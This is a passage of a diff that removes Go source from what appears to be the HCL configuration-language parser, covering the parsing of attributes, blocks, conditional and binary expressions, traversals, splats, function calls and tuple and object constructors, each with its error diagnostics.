append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid argument name", - Detail: "Argument names must not be quoted.", - Subject: &bad.Range, - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Argument or block definition required", - Detail: "An argument or block definition is required here.", - Subject: &bad.Range, - }) - } - } - endRange = p.PrevRange() // arbitrary, but somewhere inside the body means better diagnostics - - p.recover(end) // attempt to recover to the token after the end of this body - break Token - } - } - - return &Body{ - Attributes: attrs, - Blocks: blocks, - - SrcRange: hcl.RangeBetween(startRange, endRange), - EndRange: hcl.Range{ - Filename: endRange.Filename, - Start: endRange.End, - End: endRange.End, - }, - }, diags -} - -func (p *parser) ParseBodyItem() (Node, hcl.Diagnostics) { - ident := p.Read() - if ident.Type != TokenIdent { - p.recoverAfterBodyItem() - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Argument or block definition required", - Detail: "An argument or block definition is required here.", - Subject: &ident.Range, - }, - } - } - - next := p.Peek() - - switch next.Type { - case TokenEqual: - return p.finishParsingBodyAttribute(ident, false) - case TokenOQuote, TokenOBrace, TokenIdent: - return p.finishParsingBodyBlock(ident) - default: - p.recoverAfterBodyItem() - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Argument or block definition required", - Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", - Subject: &ident.Range, - }, - } - } - - return nil, nil -} - -// parseSingleAttrBody is a weird variant of ParseBody that deals with the -// body of a nested block containing only one attribute value all on a single -// line, like foo { bar = baz } . It expects to find a single attribute item -// immediately followed by the end token type with no intervening newlines. -func (p *parser) parseSingleAttrBody(end TokenType) (*Body, hcl.Diagnostics) { - ident := p.Read() - if ident.Type != TokenIdent { - p.recoverAfterBodyItem() - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Argument or block definition required", - Detail: "An argument or block definition is required here.", - Subject: &ident.Range, - }, - } - } - - var attr *Attribute - var diags hcl.Diagnostics - - next := p.Peek() - - switch next.Type { - case TokenEqual: - node, attrDiags := p.finishParsingBodyAttribute(ident, true) - diags = append(diags, attrDiags...) - attr = node.(*Attribute) - case TokenOQuote, TokenOBrace, TokenIdent: - p.recoverAfterBodyItem() - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Argument definition required", - Detail: fmt.Sprintf("A single-line block definition can contain only a single argument. If you meant to define argument %q, use an equals sign to assign it a value. To define a nested block, place it on a line of its own within its parent block.", ident.Bytes), - Subject: hcl.RangeBetween(ident.Range, next.Range).Ptr(), - }, - } - default: - p.recoverAfterBodyItem() - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Argument or block definition required", - Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", - Subject: &ident.Range, - }, - } - } - - return &Body{ - Attributes: Attributes{ - string(ident.Bytes): attr, - }, - - SrcRange: attr.SrcRange, - EndRange: hcl.Range{ - Filename: attr.SrcRange.Filename, - Start: attr.SrcRange.End, - End: attr.SrcRange.End, - }, - }, diags - -} - -func (p *parser) finishParsingBodyAttribute(ident Token, singleLine bool) (Node, hcl.Diagnostics) { - eqTok := p.Read() // eat equals token - if eqTok.Type != TokenEqual { - // should never happen if caller behaves - panic("finishParsingBodyAttribute called with next not equals") - } - - var endRange hcl.Range - - expr, diags := p.ParseExpression() - if p.recovery && diags.HasErrors() { - // recovery within expressions tends to be tricky, so we've probably - // landed somewhere weird. We'll try to reset to the start of a body - // item so parsing can continue. - endRange = p.PrevRange() - p.recoverAfterBodyItem() - } else { - endRange = p.PrevRange() - if !singleLine { - end := p.Peek() - if end.Type != TokenNewline && end.Type != TokenEOF { - if !p.recovery { - summary := "Missing newline after argument" - detail := "An argument definition must end with a newline." - - if end.Type == TokenComma { - summary = "Unexpected comma after argument" - detail = "Argument definitions must be separated by newlines, not commas. " + detail - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: summary, - Detail: detail, - Subject: &end.Range, - Context: hcl.RangeBetween(ident.Range, end.Range).Ptr(), - }) - } - endRange = p.PrevRange() - p.recoverAfterBodyItem() - } else { - endRange = p.PrevRange() - p.Read() // eat newline - } - } - } - - return &Attribute{ - Name: string(ident.Bytes), - Expr: expr, - - SrcRange: hcl.RangeBetween(ident.Range, endRange), - NameRange: ident.Range, - EqualsRange: eqTok.Range, - }, diags -} - -func (p *parser) finishParsingBodyBlock(ident Token) (Node, hcl.Diagnostics) { - var blockType = string(ident.Bytes) - var diags hcl.Diagnostics - var labels []string - var labelRanges []hcl.Range - - var oBrace Token - -Token: - for { - tok := p.Peek() - - switch tok.Type { - - case TokenOBrace: - oBrace = p.Read() - break Token - - case TokenOQuote: - label, labelRange, labelDiags := p.parseQuotedStringLiteral() - diags = append(diags, labelDiags...) - labels = append(labels, label) - labelRanges = append(labelRanges, labelRange) - // parseQuoteStringLiteral recovers up to the closing quote - // if it encounters problems, so we can continue looking for - // more labels and eventually the block body even. - - case TokenIdent: - tok = p.Read() // eat token - label, labelRange := string(tok.Bytes), tok.Range - labels = append(labels, label) - labelRanges = append(labelRanges, labelRange) - - default: - switch tok.Type { - case TokenEqual: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid block definition", - Detail: "The equals sign \"=\" indicates an argument definition, and must not be used when defining a block.", - Subject: &tok.Range, - Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), - }) - case TokenNewline: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid block definition", - Detail: "A block definition must have block content delimited by \"{\" and \"}\", starting on the same line as the block header.", - Subject: &tok.Range, - Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), - }) - default: - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid block definition", - Detail: "Either a quoted string block label or an opening brace (\"{\") is expected here.", - Subject: &tok.Range, - Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), - }) - } - } - - p.recoverAfterBodyItem() - - return &Block{ - Type: blockType, - Labels: labels, - Body: &Body{ - SrcRange: ident.Range, - EndRange: ident.Range, - }, - - TypeRange: ident.Range, - LabelRanges: labelRanges, - OpenBraceRange: ident.Range, // placeholder - CloseBraceRange: ident.Range, // placeholder - }, diags - } - } - - // Once we fall out here, the peeker is pointed just after our opening - // brace, so we can begin our nested body parsing. - var body *Body - var bodyDiags hcl.Diagnostics - switch p.Peek().Type { - case TokenNewline, TokenEOF, TokenCBrace: - body, bodyDiags = p.ParseBody(TokenCBrace) - default: - // Special one-line, single-attribute block parsing mode. - body, bodyDiags = p.parseSingleAttrBody(TokenCBrace) - switch p.Peek().Type { - case TokenCBrace: - p.Read() // the happy path - just consume the closing brace - case TokenComma: - // User seems to be trying to use the object-constructor - // comma-separated style, which isn't permitted for blocks. - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid single-argument block definition", - Detail: "Single-line block syntax can include only one argument definition. To define multiple arguments, use the multi-line block syntax with one argument definition per line.", - Subject: p.Peek().Range.Ptr(), - }) - p.recover(TokenCBrace) - case TokenNewline: - // We don't allow weird mixtures of single and multi-line syntax. - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid single-argument block definition", - Detail: "An argument definition on the same line as its containing block creates a single-line block definition, which must also be closed on the same line. Place the block's closing brace immediately after the argument definition.", - Subject: p.Peek().Range.Ptr(), - }) - p.recover(TokenCBrace) - default: - // Some other weird thing is going on. Since we can't guess a likely - // user intent for this one, we'll skip it if we're already in - // recovery mode. - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid single-argument block definition", - Detail: "A single-line block definition must end with a closing brace immediately after its single argument definition.", - Subject: p.Peek().Range.Ptr(), - }) - } - p.recover(TokenCBrace) - } - } - diags = append(diags, bodyDiags...) - cBraceRange := p.PrevRange() - - eol := p.Peek() - if eol.Type == TokenNewline || eol.Type == TokenEOF { - p.Read() // eat newline - } else { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing newline after block definition", - Detail: "A block definition must end with a newline.", - Subject: &eol.Range, - Context: hcl.RangeBetween(ident.Range, eol.Range).Ptr(), - }) - } - p.recoverAfterBodyItem() - } - - // We must never produce a nil body, since the caller may attempt to - // do analysis of a partial result when there's an error, so we'll - // insert a placeholder if we otherwise failed to produce a valid - // body due to one of the syntax error paths above. - if body == nil && diags.HasErrors() { - body = &Body{ - SrcRange: hcl.RangeBetween(oBrace.Range, cBraceRange), - EndRange: cBraceRange, - } - } - - return &Block{ - Type: blockType, - Labels: labels, - Body: body, - - TypeRange: ident.Range, - LabelRanges: labelRanges, - OpenBraceRange: oBrace.Range, - CloseBraceRange: cBraceRange, - }, diags -} - -func (p *parser) ParseExpression() (Expression, hcl.Diagnostics) { - return p.parseTernaryConditional() -} - -func (p *parser) parseTernaryConditional() (Expression, hcl.Diagnostics) { - // The ternary conditional operator (.. ? .. : ..) behaves somewhat - // like a binary operator except that the "symbol" is itself - // an expression enclosed in two punctuation characters. - // The middle expression is parsed as if the ? and : symbols - // were parentheses. The "rhs" (the "false expression") is then - // treated right-associatively so it behaves similarly to the - // middle in terms of precedence. - - startRange := p.NextRange() - var condExpr, trueExpr, falseExpr Expression - var diags hcl.Diagnostics - - condExpr, condDiags := p.parseBinaryOps(binaryOps) - diags = append(diags, condDiags...) - if p.recovery && condDiags.HasErrors() { - return condExpr, diags - } - - questionMark := p.Peek() - if questionMark.Type != TokenQuestion { - return condExpr, diags - } - - p.Read() // eat question mark - - trueExpr, trueDiags := p.ParseExpression() - diags = append(diags, trueDiags...) - if p.recovery && trueDiags.HasErrors() { - return condExpr, diags - } - - colon := p.Peek() - if colon.Type != TokenColon { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing false expression in conditional", - Detail: "The conditional operator (...?...:...) requires a false expression, delimited by a colon.", - Subject: &colon.Range, - Context: hcl.RangeBetween(startRange, colon.Range).Ptr(), - }) - return condExpr, diags - } - - p.Read() // eat colon - - falseExpr, falseDiags := p.ParseExpression() - diags = append(diags, falseDiags...) - if p.recovery && falseDiags.HasErrors() { - return condExpr, diags - } - - return &ConditionalExpr{ - Condition: condExpr, - TrueResult: trueExpr, - FalseResult: falseExpr, - - SrcRange: hcl.RangeBetween(startRange, falseExpr.Range()), - }, diags -} - -// parseBinaryOps calls itself recursively to work through all of the -// operator precedence groups, and then eventually calls parseExpressionTerm -// for each operand. -func (p *parser) parseBinaryOps(ops []map[TokenType]*Operation) (Expression, hcl.Diagnostics) { - if len(ops) == 0 { - // We've run out of operators, so now we'll just try to parse a term. - return p.parseExpressionWithTraversals() - } - - thisLevel := ops[0] - remaining := ops[1:] - - var lhs, rhs Expression - var operation *Operation - var diags hcl.Diagnostics - - // Parse a term that might be the first operand of a binary - // operation or it might just be a standalone term. - // We won't know until we've parsed it and can look ahead - // to see if there's an operator token for this level. - lhs, lhsDiags := p.parseBinaryOps(remaining) - diags = append(diags, lhsDiags...) - if p.recovery && lhsDiags.HasErrors() { - return lhs, diags - } - - // We'll keep eating up operators until we run out, so that operators - // with the same precedence will combine in a left-associative manner: - // a+b+c => (a+b)+c, not a+(b+c) - // - // Should we later want to have right-associative operators, a way - // to achieve that would be to call back up to ParseExpression here - // instead of iteratively parsing only the remaining operators. - for { - next := p.Peek() - var newOp *Operation - var ok bool - if newOp, ok = thisLevel[next.Type]; !ok { - break - } - - // Are we extending an expression started on the previous iteration? - if operation != nil { - lhs = &BinaryOpExpr{ - LHS: lhs, - Op: operation, - RHS: rhs, - - SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), - } - } - - operation = newOp - p.Read() // eat operator token - var rhsDiags hcl.Diagnostics - rhs, rhsDiags = p.parseBinaryOps(remaining) - diags = append(diags, rhsDiags...) - if p.recovery && rhsDiags.HasErrors() { - return lhs, diags - } - } - - if operation == nil { - return lhs, diags - } - - return &BinaryOpExpr{ - LHS: lhs, - Op: operation, - RHS: rhs, - - SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), - }, diags -} - -func (p *parser) parseExpressionWithTraversals() (Expression, hcl.Diagnostics) { - term, diags := p.parseExpressionTerm() - ret, moreDiags := p.parseExpressionTraversals(term) - diags = append(diags, moreDiags...) - return ret, diags -} - -func (p *parser) parseExpressionTraversals(from Expression) (Expression, hcl.Diagnostics) { - var diags hcl.Diagnostics - ret := from - -Traversal: - for { - next := p.Peek() - - switch next.Type { - case TokenDot: - // Attribute access or splat - dot := p.Read() - attrTok := p.Peek() - - switch attrTok.Type { - case TokenIdent: - attrTok = p.Read() // eat token - name := string(attrTok.Bytes) - rng := hcl.RangeBetween(dot.Range, attrTok.Range) - step := hcl.TraverseAttr{ - Name: name, - SrcRange: rng, - } - - ret = makeRelativeTraversal(ret, step, rng) - - case TokenNumberLit: - // This is a weird form we inherited from HIL, allowing numbers - // to be used as attributes as a weird way of writing [n]. - // This was never actually a first-class thing in HIL, but - // HIL tolerated sequences like .0. in its variable names and - // calling applications like Terraform exploited that to - // introduce indexing syntax where none existed. - numTok := p.Read() // eat token - attrTok = numTok - - // This syntax is ambiguous if multiple indices are used in - // succession, like foo.0.1.baz: that actually parses as - // a fractional number 0.1. Since we're only supporting this - // syntax for compatibility with legacy Terraform - // configurations, and Terraform does not tend to have lists - // of lists, we'll choose to reject that here with a helpful - // error message, rather than failing later because the index - // isn't a whole number. - if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { - first := numTok.Bytes[:dotIdx] - second := numTok.Bytes[dotIdx+1:] - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid legacy index syntax", - Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax instead, like [%s][%s].", first, second), - Subject: &attrTok.Range, - }) - rng := hcl.RangeBetween(dot.Range, numTok.Range) - step := hcl.TraverseIndex{ - Key: cty.DynamicVal, - SrcRange: rng, - } - ret = makeRelativeTraversal(ret, step, rng) - break - } - - numVal, numDiags := p.numberLitValue(numTok) - diags = append(diags, numDiags...) - - rng := hcl.RangeBetween(dot.Range, numTok.Range) - step := hcl.TraverseIndex{ - Key: numVal, - SrcRange: rng, - } - - ret = makeRelativeTraversal(ret, step, rng) - - case TokenStar: - // "Attribute-only" splat expression. - // (This is a kinda weird construct inherited from HIL, which - // behaves a bit like a [*] splat except that it is only able - // to do attribute traversals into each of its elements, - // whereas foo[*] can support _any_ traversal. - marker := p.Read() // eat star - trav := make(hcl.Traversal, 0, 1) - var firstRange, lastRange hcl.Range - firstRange = p.NextRange() - lastRange = marker.Range - for p.Peek().Type == TokenDot { - dot := p.Read() - - if p.Peek().Type == TokenNumberLit { - // Continuing the "weird stuff inherited from HIL" - // theme, we also allow numbers as attribute names - // inside splats and interpret them as indexing - // into a list, for expressions like: - // foo.bar.*.baz.0.foo - numTok := p.Read() - - // Weird special case if the user writes something - // like foo.bar.*.baz.0.0.foo, where 0.0 parses - // as a number. - if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { - first := numTok.Bytes[:dotIdx] - second := numTok.Bytes[dotIdx+1:] - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid legacy index syntax", - Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax with a full splat expression [*] instead, like [%s][%s].", first, second), - Subject: &attrTok.Range, - }) - trav = append(trav, hcl.TraverseIndex{ - Key: cty.DynamicVal, - SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), - }) - lastRange = numTok.Range - continue - } - - numVal, numDiags := p.numberLitValue(numTok) - diags = append(diags, numDiags...) - trav = append(trav, hcl.TraverseIndex{ - Key: numVal, - SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), - }) - lastRange = numTok.Range - continue - } - - if p.Peek().Type != TokenIdent { - if !p.recovery { - if p.Peek().Type == TokenStar { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Nested splat expression not allowed", - Detail: "A splat expression (*) cannot be used inside another attribute-only splat expression.", - Subject: p.Peek().Range.Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid attribute name", - Detail: "An attribute name is required after a dot.", - Subject: &attrTok.Range, - }) - } - } - p.setRecovery() - continue Traversal - } - - attrTok := p.Read() - trav = append(trav, hcl.TraverseAttr{ - Name: string(attrTok.Bytes), - SrcRange: hcl.RangeBetween(dot.Range, attrTok.Range), - }) - lastRange = attrTok.Range - } - - itemExpr := &AnonSymbolExpr{ - SrcRange: hcl.RangeBetween(dot.Range, marker.Range), - } - var travExpr Expression - if len(trav) == 0 { - travExpr = itemExpr - } else { - travExpr = &RelativeTraversalExpr{ - Source: itemExpr, - Traversal: trav, - SrcRange: hcl.RangeBetween(firstRange, lastRange), - } - } - - ret = &SplatExpr{ - Source: ret, - Each: travExpr, - Item: itemExpr, - - SrcRange: hcl.RangeBetween(from.Range(), lastRange), - MarkerRange: hcl.RangeBetween(dot.Range, marker.Range), - } - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid attribute name", - Detail: "An attribute name is required after a dot.", - Subject: &attrTok.Range, - }) - // This leaves the peeker in a bad place, so following items - // will probably be misparsed until we hit something that - // allows us to re-sync. - // - // We will probably need to do something better here eventually - // in order to support autocomplete triggered by typing a - // period. - p.setRecovery() - } - - case TokenOBrack: - // Indexing of a collection. - // This may or may not be a hcl.Traverser, depending on whether - // the key value is something constant. - - open := p.Read() - switch p.Peek().Type { - case TokenStar: - // This is a full splat expression, like foo[*], which consumes - // the rest of the traversal steps after it using a recursive - // call to this function. - p.Read() // consume star - close := p.Read() - if close.Type != TokenCBrack && !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing close bracket on splat index", - Detail: "The star for a full splat operator must be immediately followed by a closing bracket (\"]\").", - Subject: &close.Range, - }) - close = p.recover(TokenCBrack) - } - // Splat expressions use a special "anonymous symbol" as a - // placeholder in an expression to be evaluated once for each - // item in the source expression. - itemExpr := &AnonSymbolExpr{ - SrcRange: hcl.RangeBetween(open.Range, close.Range), - } - // Now we'll recursively call this same function to eat any - // remaining traversal steps against the anonymous symbol. - travExpr, nestedDiags := p.parseExpressionTraversals(itemExpr) - diags = append(diags, nestedDiags...) - - ret = &SplatExpr{ - Source: ret, - Each: travExpr, - Item: itemExpr, - - SrcRange: hcl.RangeBetween(from.Range(), travExpr.Range()), - MarkerRange: hcl.RangeBetween(open.Range, close.Range), - } - - default: - - var close Token - p.PushIncludeNewlines(false) // arbitrary newlines allowed in brackets - keyExpr, keyDiags := p.ParseExpression() - diags = append(diags, keyDiags...) - if p.recovery && keyDiags.HasErrors() { - close = p.recover(TokenCBrack) - } else { - close = p.Read() - if close.Type != TokenCBrack && !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing close bracket on index", - Detail: "The index operator must end with a closing bracket (\"]\").", - Subject: &close.Range, - }) - close = p.recover(TokenCBrack) - } - } - p.PopIncludeNewlines() - - if lit, isLit := keyExpr.(*LiteralValueExpr); isLit { - litKey, _ := lit.Value(nil) - rng := hcl.RangeBetween(open.Range, close.Range) - step := hcl.TraverseIndex{ - Key: litKey, - SrcRange: rng, - } - ret = makeRelativeTraversal(ret, step, rng) - } else if tmpl, isTmpl := keyExpr.(*TemplateExpr); isTmpl && tmpl.IsStringLiteral() { - litKey, _ := tmpl.Value(nil) - rng := hcl.RangeBetween(open.Range, close.Range) - step := hcl.TraverseIndex{ - Key: litKey, - SrcRange: rng, - } - ret = makeRelativeTraversal(ret, step, rng) - } else { - rng := hcl.RangeBetween(open.Range, close.Range) - ret = &IndexExpr{ - Collection: ret, - Key: keyExpr, - - SrcRange: hcl.RangeBetween(from.Range(), rng), - OpenRange: open.Range, - BracketRange: rng, - } - } - } - - default: - break Traversal - } - } - - return ret, diags -} - -// makeRelativeTraversal takes an expression and a traverser and returns -// a traversal expression that combines the two. If the given expression -// is already a traversal, it is extended in place (mutating it) and -// returned. If it isn't, a new RelativeTraversalExpr is created and returned. -func makeRelativeTraversal(expr Expression, next hcl.Traverser, rng hcl.Range) Expression { - switch texpr := expr.(type) { - case *ScopeTraversalExpr: - texpr.Traversal = append(texpr.Traversal, next) - texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) - return texpr - case *RelativeTraversalExpr: - texpr.Traversal = append(texpr.Traversal, next) - texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) - return texpr - default: - return &RelativeTraversalExpr{ - Source: expr, - Traversal: hcl.Traversal{next}, - SrcRange: hcl.RangeBetween(expr.Range(), rng), - } - } -} - -func (p *parser) parseExpressionTerm() (Expression, hcl.Diagnostics) { - start := p.Peek() - - switch start.Type { - case TokenOParen: - p.Read() // eat open paren - - p.PushIncludeNewlines(false) - - expr, diags := p.ParseExpression() - if diags.HasErrors() { - // attempt to place the peeker after our closing paren - // before we return, so that the next parser has some - // chance of finding a valid expression. - p.recover(TokenCParen) - p.PopIncludeNewlines() - return expr, diags - } - - close := p.Peek() - if close.Type != TokenCParen { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unbalanced parentheses", - Detail: "Expected a closing parenthesis to terminate the expression.", - Subject: &close.Range, - Context: hcl.RangeBetween(start.Range, close.Range).Ptr(), - }) - p.setRecovery() - } - - p.Read() // eat closing paren - p.PopIncludeNewlines() - - return expr, diags - - case TokenNumberLit: - tok := p.Read() // eat number token - - numVal, diags := p.numberLitValue(tok) - return &LiteralValueExpr{ - Val: numVal, - SrcRange: tok.Range, - }, diags - - case TokenIdent: - tok := p.Read() // eat identifier token - - if p.Peek().Type == TokenOParen { - return p.finishParsingFunctionCall(tok) - } - - name := string(tok.Bytes) - switch name { - case "true": - return &LiteralValueExpr{ - Val: cty.True, - SrcRange: tok.Range, - }, nil - case "false": - return &LiteralValueExpr{ - Val: cty.False, - SrcRange: tok.Range, - }, nil - case "null": - return &LiteralValueExpr{ - Val: cty.NullVal(cty.DynamicPseudoType), - SrcRange: tok.Range, - }, nil - default: - return &ScopeTraversalExpr{ - Traversal: hcl.Traversal{ - hcl.TraverseRoot{ - Name: name, - SrcRange: tok.Range, - }, - }, - SrcRange: tok.Range, - }, nil - } - - case TokenOQuote, TokenOHeredoc: - open := p.Read() // eat opening marker - closer := p.oppositeBracket(open.Type) - exprs, passthru, _, diags := p.parseTemplateInner(closer, tokenOpensFlushHeredoc(open)) - - closeRange := p.PrevRange() - - if passthru { - if len(exprs) != 1 { - panic("passthru set with len(exprs) != 1") - } - return &TemplateWrapExpr{ - Wrapped: exprs[0], - SrcRange: hcl.RangeBetween(open.Range, closeRange), - }, diags - } - - return &TemplateExpr{ - Parts: exprs, - SrcRange: hcl.RangeBetween(open.Range, closeRange), - }, diags - - case TokenMinus: - tok := p.Read() // eat minus token - - // Important to use parseExpressionWithTraversals rather than parseExpression - // here, otherwise we can capture a following binary expression into - // our negation. - // e.g. -46+5 should parse as (-46)+5, not -(46+5) - operand, diags := p.parseExpressionWithTraversals() - return &UnaryOpExpr{ - Op: OpNegate, - Val: operand, - - SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), - SymbolRange: tok.Range, - }, diags - - case TokenBang: - tok := p.Read() // eat bang token - - // Important to use parseExpressionWithTraversals rather than parseExpression - // here, otherwise we can capture a following binary expression into - // our negation. - operand, diags := p.parseExpressionWithTraversals() - return &UnaryOpExpr{ - Op: OpLogicalNot, - Val: operand, - - SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), - SymbolRange: tok.Range, - }, diags - - case TokenOBrack: - return p.parseTupleCons() - - case TokenOBrace: - return p.parseObjectCons() - - default: - var diags hcl.Diagnostics - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid expression", - Detail: "Expected the start of an expression, but found an invalid expression token.", - Subject: &start.Range, - }) - } - p.setRecovery() - - // Return a placeholder so that the AST is still structurally sound - // even in the presence of parse errors. - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: start.Range, - }, diags - } -} - -func (p *parser) numberLitValue(tok Token) (cty.Value, hcl.Diagnostics) { - // The cty.ParseNumberVal is always the same behavior as converting a - // string to a number, ensuring we always interpret decimal numbers in - // the same way. - numVal, err := cty.ParseNumberVal(string(tok.Bytes)) - if err != nil { - ret := cty.UnknownVal(cty.Number) - return ret, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid number literal", - // FIXME: not a very good error message, but convert only - // gives us "a number is required", so not much help either. - Detail: "Failed to recognize the value of this number literal.", - Subject: &tok.Range, - }, - } - } - return numVal, nil -} - -// finishParsingFunctionCall parses a function call assuming that the function -// name was already read, and so the peeker should be pointing at the opening -// parenthesis after the name. -func (p *parser) finishParsingFunctionCall(name Token) (Expression, hcl.Diagnostics) { - openTok := p.Read() - if openTok.Type != TokenOParen { - // should never happen if callers behave - panic("finishParsingFunctionCall called with non-parenthesis as next token") - } - - var args []Expression - var diags hcl.Diagnostics - var expandFinal bool - var closeTok Token - - // Arbitrary newlines are allowed inside the function call parentheses. - p.PushIncludeNewlines(false) - -Token: - for { - tok := p.Peek() - - if tok.Type == TokenCParen { - closeTok = p.Read() // eat closing paren - break Token - } - - arg, argDiags := p.ParseExpression() - args = append(args, arg) - diags = append(diags, argDiags...) - if p.recovery && argDiags.HasErrors() { - // if there was a parse error in the argument then we've - // probably been left in a weird place in the token stream, - // so we'll bail out with a partial argument list. - p.recover(TokenCParen) - break Token - } - - sep := p.Read() - if sep.Type == TokenCParen { - closeTok = sep - break Token - } - - if sep.Type == TokenEllipsis { - expandFinal = true - - if p.Peek().Type != TokenCParen { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing closing parenthesis", - Detail: "An expanded function argument (with ...) must be immediately followed by closing parentheses.", - Subject: &sep.Range, - Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), - }) - } - closeTok = p.recover(TokenCParen) - } else { - closeTok = p.Read() // eat closing paren - } - break Token - } - - if sep.Type != TokenComma { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing argument separator", - Detail: "A comma is required to separate each function argument from the next.", - Subject: &sep.Range, - Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), - }) - closeTok = p.recover(TokenCParen) - break Token - } - - if p.Peek().Type == TokenCParen { - // A trailing comma after the last argument gets us in here. - closeTok = p.Read() // eat closing paren - break Token - } - - } - - p.PopIncludeNewlines() - - return &FunctionCallExpr{ - Name: string(name.Bytes), - Args: args, - - ExpandFinal: expandFinal, - - NameRange: name.Range, - OpenParenRange: openTok.Range, - CloseParenRange: closeTok.Range, - }, diags -} - -func (p *parser) parseTupleCons() (Expression, hcl.Diagnostics) { - open := p.Read() - if open.Type != TokenOBrack { - // Should never happen if callers are behaving - panic("parseTupleCons called without peeker pointing to open bracket") - } - - p.PushIncludeNewlines(false) - defer p.PopIncludeNewlines() - - if forKeyword.TokenMatches(p.Peek()) { - return p.finishParsingForExpr(open) - } - - var close Token - - var diags hcl.Diagnostics - var exprs []Expression - - for { - next := p.Peek() - if next.Type == TokenCBrack { - close = p.Read() // eat closer - break - } - - expr, exprDiags := p.ParseExpression() - exprs = append(exprs, expr) - diags = append(diags, exprDiags...) - - if p.recovery && exprDiags.HasErrors() { - // If expression parsing failed then we are probably in a strange - // place in the token stream, so we'll bail out and try to reset - // to after our closing bracket to allow parsing to continue. - close = p.recover(TokenCBrack) - break - } - - next = p.Peek() - if next.Type == TokenCBrack { - close = p.Read() // eat closer - break - } - - if next.Type != TokenComma { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing item separator", - Detail: "Expected a comma to mark the beginning of the next item.", - Subject: &next.Range, - Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), - }) - } - close = p.recover(TokenCBrack) - break - } - - p.Read() // eat comma - - } - - return &TupleConsExpr{ - Exprs: exprs, - - SrcRange: hcl.RangeBetween(open.Range, close.Range), - OpenRange: open.Range, - }, diags -} - -func (p *parser) parseObjectCons() (Expression, hcl.Diagnostics) { - open := p.Read() - if open.Type != TokenOBrace { - // Should never happen if callers are behaving - panic("parseObjectCons called without peeker pointing to open brace") - } - - // We must temporarily stop looking at newlines here while we check for - // a "for" keyword, since for expressions are _not_ newline-sensitive, - // even though object constructors are. - p.PushIncludeNewlines(false) - isFor := forKeyword.TokenMatches(p.Peek()) - p.PopIncludeNewlines() - if isFor { - return p.finishParsingForExpr(open) - } - - p.PushIncludeNewlines(true) - defer p.PopIncludeNewlines() - - var close Token - - var diags hcl.Diagnostics - var items []ObjectConsItem - - for { - next := p.Peek() - if next.Type == TokenNewline { - p.Read() // eat newline - continue - } - - if next.Type == TokenCBrace { - close = p.Read() // eat closer - break - } - - // Wrapping parens are not explicitly represented in the AST, but - // we want to use them here to disambiguate intepreting a mapping - // key as a full expression rather than just a name, and so - // we'll remember this was present and use it to force the - // behavior of our final ObjectConsKeyExpr. - forceNonLiteral := (p.Peek().Type == TokenOParen) - - var key Expression - var keyDiags hcl.Diagnostics - key, keyDiags = p.ParseExpression() - diags = append(diags, keyDiags...) - - if p.recovery && keyDiags.HasErrors() { - // If expression parsing failed then we are probably in a strange - // place 